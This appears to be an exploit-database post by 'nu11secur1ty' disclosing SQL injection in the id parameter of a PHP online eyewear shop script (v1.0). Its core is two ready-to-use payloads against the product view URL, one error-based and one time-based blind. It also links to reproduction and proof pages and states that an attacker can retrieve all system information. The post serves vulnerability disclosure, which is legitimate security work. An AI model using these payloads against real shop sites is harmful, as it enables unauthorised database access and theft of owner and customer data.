## Titles: OEWS - PHP (by: oretnom23 ) v1.0 Multiple SQLi ## Author: nu11secur1ty ## Date: 05/25/2024 ## Vendor: https://github.com/oretnom23 ## Software: https://www.sourcecodester.com/php/16089/online-eyewear-shop-website-using-php-and-mysql-free-download.html ## Reference: https://portswigger.net/web-security/sql-injection ## Description: The id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the id parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. The attacker can get all information from the system by using this vulnerability! STATUS: HIGH- Vulnerability [+]Exploits: - SQLi Multiple: ```mysql --- Parameter: id (GET) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: p=products/view_product&id=8' AND (SELECT 9069 FROM(SELECT COUNT(*),CONCAT(0x7162787671,(SELECT (ELT(9069=9069,1))),0x717a766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# CjkM Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: p=products/view_product&id=8' AND (SELECT 8526 FROM (SELECT(SLEEP(7)))xaqq)# fbVK --- ``` ## Reproduce: [href](https://www.patreon.com/posts/oews-php-by-v1-0-104918653) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2024/05/oews-php-by-oretnom23-v10-multiple-sqli.html) ## Time spent: 00:19:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>